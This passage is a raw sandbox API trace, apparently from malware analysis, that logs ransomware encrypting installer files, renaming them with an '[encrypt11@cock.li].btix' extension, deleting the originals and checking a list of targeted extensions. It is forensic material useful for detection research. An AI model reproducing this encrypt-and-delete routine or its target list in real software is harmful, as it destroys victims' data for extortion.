lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.284] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.284] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.284] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0042.284] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=18264) returned 1 [0042.284] CloseHandle (hObject=0x30c) returned 1 [0042.284] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0042.284] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.284] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0042.284] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.284] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0042.325] GetLastError () returned 0x0 [0042.325] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x4758, lpOverlapped=0x0) returned 1 [0042.414] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x4760, lpOverlapped=0x0) returned 1 [0042.415] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.415] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.415] SetEndOfFile (hFile=0x324) returned 1 [0042.415] CloseHandle (hObject=0x324) returned 1 [0042.416] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.416] SetEndOfFile (hFile=0x30c) returned 1 [0042.417] CloseHandle (hObject=0x30c) returned 1 [0042.417] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.417] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0042.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.418] lstrlenW (lpString=".doc") returned 4 [0042.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.418] lstrlenW (lpString=".docx") returned 5 [0042.418] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.418] lstrlenW (lpString=".pdf") returned 4 [0042.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.418] lstrlenW (lpString=".xls") returned 4 [0042.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.418] lstrlenW (lpString=".xlsx") returned 5 [0042.418] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.418] lstrlenW (lpString=".ppt") returned 4 [0042.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.418] lstrlenW (lpString=".zip") returned 4 [0042.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.418] lstrlenW (lpString=".rar") returned 4 [0042.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.418] lstrlenW (lpString=".bz2") returned 4 [0042.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.418] lstrlenW (lpString=".7z") returned 3 [0042.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.418] lstrlenW (lpString=".dbf") returned 4 [0042.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.418] lstrlenW (lpString=".1cd") returned 4 [0042.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.418] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.418] lstrlenW (lpString=".jpg") returned 4 [0042.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.419] lstrlenW (lpString=".doc") returned 4 [0042.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.419] lstrlenW (lpString=".docx") returned 5 [0042.419] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.419] lstrlenW (lpString=".pdf") returned 4 [0042.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.419] lstrlenW (lpString=".xls") returned 4 [0042.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.419] lstrlenW (lpString=".xlsx") returned 5 [0042.419] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.419] lstrlenW (lpString=".ppt") returned 4 [0042.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.419] lstrlenW (lpString=".zip") returned 4 [0042.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.419] lstrlenW (lpString=".rar") returned 4 [0042.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.419] lstrlenW (lpString=".bz2") returned 4 [0042.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.419] lstrlenW (lpString=".7z") returned 3 [0042.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.419] lstrlenW (lpString=".dbf") returned 4 [0042.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.419] lstrlenW (lpString=".1cd") returned 4 [0042.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.419] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0042.419] lstrlenW (lpString=".jpg") returned 4 [0042.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.420] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.420] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.420] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.106] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=17752) returned 1 [0043.106] CloseHandle (hObject=0x364) returned 1 [0043.106] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0043.106] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.106] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.106] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.223] GetLastError () returned 0x0 [0043.223] ReadFile (in: hFile=0x364, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x4558, lpOverlapped=0x0) returned 1 [0043.283] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x4560, lpOverlapped=0x0) returned 1 [0043.284] ReadFile (in: hFile=0x364, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.284] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf8, lpOverlapped=0x0) returned 1 [0043.284] SetEndOfFile (hFile=0x358) returned 1 [0043.284] CloseHandle (hObject=0x358) returned 1 [0043.285] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.285] SetEndOfFile (hFile=0x364) returned 1 [0043.285] CloseHandle (hObject=0x364) returned 1 [0043.285] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.286] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0043.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.286] lstrlenW (lpString=".doc") returned 4 [0043.286] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.286] lstrlenW (lpString=".docx") returned 5 [0043.286] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.286] lstrlenW (lpString=".pdf") returned 4 [0043.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.286] lstrlenW (lpString=".xls") returned 4 [0043.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.286] lstrlenW (lpString=".xlsx") returned 5 [0043.286] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.286] lstrlenW (lpString=".ppt") returned 4 [0043.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.286] lstrlenW (lpString=".zip") returned 4 [0043.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.286] lstrlenW (lpString=".rar") returned 4 [0043.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.286] lstrlenW (lpString=".bz2") returned 4 [0043.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.286] lstrlenW (lpString=".7z") returned 3 [0043.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.287] lstrlenW (lpString=".dbf") returned 4 [0043.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.287] lstrlenW (lpString=".1cd") returned 4 [0043.287] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.287] lstrlenW (lpString=".jpg") returned 4 [0043.287] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.287] lstrlenW (lpString=".doc") returned 4 [0043.287] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.287] lstrlenW (lpString=".docx") returned 5 [0043.287] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.287] lstrlenW (lpString=".pdf") returned 4 [0043.287] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.287] lstrlenW (lpString=".xls") returned 4 [0043.287] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.287] lstrlenW (lpString=".xlsx") returned 5 [0043.287] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.287] lstrlenW (lpString=".ppt") returned 4 [0043.287] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.287] lstrlenW (lpString=".zip") returned 4 [0043.287] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.287] lstrlenW (lpString=".rar") returned 4 [0043.287] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.287] lstrlenW (lpString=".bz2") returned 4 [0043.287] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.287] lstrlenW (lpString=".7z") returned 3 [0043.287] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.287] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.287] lstrlenW (lpString=".dbf") returned 4 [0043.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.288] lstrlenW (lpString=".1cd") returned 4 [0043.288] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.288] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0043.288] lstrlenW (lpString=".jpg") returned 4 [0043.288] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.288] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.288] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0043.288] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.288] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=88533) returned 1 [0043.288] CloseHandle (hObject=0x364) returned 1 [0043.288] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0043.288] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.288] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0043.288] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.288] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.289] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0043.289] GetLastError () returned 0x0 [0043.289] ReadFile (in: hFile=0x364, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0043.317] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0043.318] ReadFile (in: hFile=0x364, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.318] WriteFile (in: hFile=0x358, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf2, lpOverlapped=0x0) returned 1 [0043.318] SetEndOfFile (hFile=0x358) returned 1 [0043.319] CloseHandle (hObject=0x358) returned 1 [0043.320] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.320] SetEndOfFile (hFile=0x364) returned 1 [0043.322] CloseHandle (hObject=0x364) returned 1 [0043.322] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.322] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0043.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.322] lstrlenW (lpString=".doc") returned 4 [0043.322] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.322] lstrlenW (lpString=".docx") returned 5 [0043.322] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0043.322] lstrlenW (lpString=".pdf") returned 4 [0043.322] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.322] lstrlenW (lpString=".xls") returned 4 [0043.322] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.322] lstrlenW (lpString=".xlsx") returned 5 [0043.322] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0043.322] lstrlenW (lpString=".ppt") returned 4 [0043.322] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.322] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.322] lstrlenW (lpString=".zip") returned 4 [0043.323] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.323] lstrlenW (lpString=".rar") returned 4 [0043.323] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.323] lstrlenW (lpString=".bz2") returned 4 [0043.323] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.323] lstrlenW (lpString=".7z") returned 3 [0043.323] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.323] lstrlenW (lpString=".dbf") returned 4 [0043.323] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.323] lstrlenW (lpString=".1cd") returned 4 [0043.323] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.323] lstrlenW (lpString=".jpg") returned 4 [0043.323] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.323] lstrlenW (lpString=".doc") returned 4 [0043.323] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.323] lstrlenW (lpString=".docx") returned 5 [0043.323] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0043.323] lstrlenW (lpString=".pdf") returned 4 [0043.323] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.323] lstrlenW (lpString=".xls") returned 4 [0043.323] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.323] lstrlenW (lpString=".xlsx") returned 5 [0043.323] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0043.323] lstrlenW (lpString=".ppt") returned 4 [0043.323] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.323] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.323] lstrlenW (lpString=".zip") returned 4 [0043.323] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.323] lstrlenW (lpString=".rar") returned 4 [0043.324] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.324] lstrlenW (lpString=".bz2") returned 4 [0043.324] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.324] lstrlenW (lpString=".7z") returned 3 [0043.324] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.324] lstrlenW (lpString=".dbf") returned 4 [0043.324] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.324] lstrlenW (lpString=".1cd") returned 4 [0043.324] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.324] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0043.324] lstrlenW (lpString=".jpg") returned 4 [0043.324] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.324] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.324] lstrlenW (lpString="Rotate2.ico") returned 11 [0043.324] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.350] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=894) returned 1 [0043.350] CloseHandle (hObject=0x354) returned 1 [0043.350] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0043.350] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.350] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.351] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.351] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0043.351] GetLastError () returned 0x0 [0043.351] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.470] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x380, lpOverlapped=0x0) returned 1 [0043.471] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.471] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, 